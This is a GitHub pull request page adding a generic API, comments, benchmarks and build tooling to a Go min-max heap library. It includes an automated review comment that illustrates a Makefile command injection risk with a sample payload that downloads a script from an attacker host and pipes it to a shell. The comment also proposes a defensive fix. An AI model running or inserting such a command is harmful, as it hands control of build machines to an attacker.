Skip to content

Add generic API, pedagogical comments, and performance improvements#2

Merged
aalpar merged 6 commits into
masterfrom
generic-api-and-improvements
Feb 5, 2026
Merged

Add generic API, pedagogical comments, and performance improvements#2
aalpar merged 6 commits into
masterfrom
generic-api-and-improvements

Conversation

@aalpar
Copy link
Copy Markdown
Owner

@aalpar aalpar commented Feb 5, 2026

Summary

  • Generic Deheap[T] API with dedicated algorithm functions using direct < comparisons — eliminates interface dispatch, adapter heap allocation, and interface{} boxing that the previous adapter pattern incurred
  • Pedagogical comments with ASCII art throughout deheap.go and ordered.go explaining the min-max heap structure, level alternation, invariants, and step-by-step worked examples for Push and Pop
  • v1 min2 inlined (cost 81 → 79) by reducing branch count; generic path inlines orderedLess (cost 18), orderedMin2 (cost 43), and orderedMin3 (cost 79)
  • Edge case tests for Remove on 1/2-element heaps, Peek/PeekMax on small and empty heaps, Push-then-Peek transition
  • Build tooling: CI workflow, release-on-tag workflow, Makefile with clean target, .gitignore
  • README: benchmark descriptions table, generic API documentation
  • Cleanup: normalized copyright headers to 2019-2026, removed legacy go-fuzz files, fixed duplicate Makefile variable

Generic API benchmarks

Measured on Apple M4 Max (arm64), Go 1.23:

Operation v1 (interface) Generic Improvement
Push 21 ns/op 12 ns/op 43% faster
Pop 288 ns/op 225 ns/op 22% faster
PopMax 282 ns/op 225 ns/op 20% faster
B/op (Pop) 7 0 zero allocs

Inlining improvements (generic path)

Function v1 (interface) Generic Inlines?
Less comparison 57 18 (orderedLess) yes
min2 79 43 (orderedMin2) yes
min3 151 79 (orderedMin3) yes (was too expensive)
min4 238 130 (orderedMin4) no (but nearly halved)

Version

Set to v1.0.0 — the generic API is additive with no breaking changes to the v1 interface API. Reserve v2 for if the interface API ever needs to break.

Test plan

  • go test ./... — all tests pass
  • go test -race ./... — clean
  • go vet ./... — clean
  • CI runs across Go 1.21, 1.22, 1.23

- Add type-safe generic Deheap[T] API for cmp.Ordered types (Go 1.21+)
  with dedicated algorithm functions using direct < comparisons,
  eliminating interface dispatch, adapter allocation, and boxing overhead
- Add pedagogical comments with ASCII art explaining the min-max heap
  structure, level alternation, invariants, and worked examples for
  Push and Pop operations
- Inline v1 min2 (cost 81 → 79) by reducing branch count
- Add edge case tests for Remove on 1/2-element heaps, Peek/PeekMax
  on small and empty heaps, and Push-then-Peek transition
- Add testable examples for both API surfaces
- Add CI workflow, release workflow, Makefile, .gitignore
- Add benchmark descriptions to README
- Update README with generic API docs and implementation details
@aalpar aalpar requested a review from Copilot February 5, 2026 00:32
@aalpar aalpar added the enhancement New feature or request label Feb 5, 2026
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds a generic API for cmp.Ordered types, extensive pedagogical documentation with ASCII diagrams, performance optimizations to the v1 interface-based API, and comprehensive build tooling and CI infrastructure.

Changes:

  • Introduced generic Deheap[T] API with direct type operations eliminating interface overhead
  • Added comprehensive inline comments and ASCII art throughout core algorithm files explaining min-max heap structure and operations
  • Optimized min2 function reducing branch count and improving inlinability
  • Added edge case tests, fuzz tests, and expanded test coverage for both APIs
  • Introduced GitHub Actions CI/release workflows, Makefile, version management tooling, and .gitignore

Reviewed changes

Copilot reviewed 13 out of 14 changed files in this pull request and generated 3 comments.

Show a summary per file
File Description
ordered.go New generic API implementation with type-safe operations on cmp.Ordered types
ordered_test.go Comprehensive test suite for generic API including edge cases and fuzz tests
example_ordered_test.go Example demonstrating generic API usage
deheap.go Enhanced with pedagogical comments, ASCII diagrams, and optimized min2 function
deheap_test.go Added edge case tests, improved isHeap validation, fixed 1/100.1 bug, added fuzz tests
go.mod Bumped minimum Go version from 1.13 to 1.21 for generics support
README.md Expanded documentation with API descriptions, complexity analysis, benchmarks, and references
VERSION Major version bump from v1.0 to v2.0.0
LICENSE Updated copyright year range to 2019-2026
Makefile Build automation with test, bench, vet, clean, and version bump targets
tools/sh/bump-version.sh Semantic version management script
.gitignore Standard Go project ignore patterns
.github/workflows/ci.yml CI workflow testing across Go 1.21, 1.22, 1.23
.github/workflows/release.yml Automated release workflow on version tags

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread Makefile Outdated
GO_TEST=$(GO) test
GO_VET=$(GO) vet
GO_BENCH=$(GO_TEST) -bench .
GO_TEST=$(GO) test
Copy link

Copilot AI Feb 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Duplicate definition of GO_TEST variable. Line 7 redefines GO_TEST which was already defined on line 4. This is redundant and should be removed. The intended definition on line 7 should likely be for GO_BENCH, but since GO_BENCH is correctly defined on line 6, this line appears to be a copy-paste error.

Suggested change
GO_TEST=$(GO) test

Copilot uses AI. Check for mistakes.
Comment thread README.md Outdated
Comment on lines +118 to +119
The generic API is built on top of the interface API through an internal
adapter — no heap logic is duplicated.
Copy link

Copilot AI Feb 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The statement "The generic API is built on top of the interface API through an internal adapter" is incorrect. The generic API in ordered.go implements its own heap operations (orderedBubbledown, orderedBubbleup, orderedMin2, etc.) that operate directly on the slice without using heap.Interface. The comment in ordered.go:161 explicitly states it "eliminates interface dispatch, adapter allocation, and interface{} boxing" by NOT going through heap.Interface. This statement should be corrected to reflect that the generic API is a parallel implementation with duplicated algorithm logic optimized for direct type operations.

Suggested change
The generic API is built on top of the interface API through an internal
adapter — no heap logic is duplicated.
The generic API is a parallel implementation of the same heap algorithms,
specialized for ordered types to avoid interface dispatch, adapter allocation,
and interface{} boxing.

Copilot uses AI. Check for mistakes.
Comment thread Makefile Outdated
# make tag
.PHONY: tag
tag:
$(GIT) tag -a $(BUILD_VERSION) -m "Release $(BUILD_VERSION)"
Copy link

Copilot AI Feb 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The tag target uses BUILD_VERSION from the VERSION file unquoted in the git tag -a $(BUILD_VERSION) invocation, so a crafted version string containing shell metacharacters (e.g., v1.2.3; curl https://attacker/sh | sh) will be expanded into additional shell commands when make tag is run. This is a command injection risk if an attacker can influence the VERSION file (for example via a malicious commit or manual edit) and the release tooling runs this target with privileged credentials. Quote BUILD_VERSION in the recipe and/or validate/sanitize the version string so it matches a strict pattern like ^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9_.-]+)?$ before using it in shell commands.

Suggested change
$(GIT) tag -a $(BUILD_VERSION) -m "Release $(BUILD_VERSION)"
@echo "Using version $(BUILD_VERSION)"
@echo "$(BUILD_VERSION)" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9_.-]+)?$$' || (echo "Error: invalid version '$(BUILD_VERSION)'. Expected format: vMAJOR.MINOR.PATCH[-PRERELEASE]"; exit 1)
$(GIT) tag -a "$(BUILD_VERSION)" -m "Release $(BUILD_VERSION)"

Copilot uses AI. Check for mistakes.
No breaking changes from the existing API — the generic Deheap[T] is
additive. Reserve v2 for if the v1 interface API ever needs to break.
- Add BenchmarkOrderedPush/Pop/PopMax/PushPop to measure generic API
  performance (Push ~12ns vs v1 ~21ns, Pop ~225ns vs v1 ~288ns, 0 allocs)
- Normalize copyright headers to 2019-2026 across all source files
- Add missing license header to fuzz.go, then remove it along with
  corpus/ — native testing.F fuzz targets fully supersede go-fuzz
- Fix duplicate GO_TEST definition in Makefile
The generic API is now the headline — faster than container/heap on Push
and competitive on Pop with zero allocations.
- README: generic API has its own algorithm implementation, not an adapter
- Makefile: quote BUILD_VERSION and validate format before git tag
@aalpar aalpar merged commit 8dd0aba into master Feb 5, 2026
3 checks passed
@aalpar aalpar deleted the generic-api-and-improvements branch February 5, 2026 01:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement New feature or request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants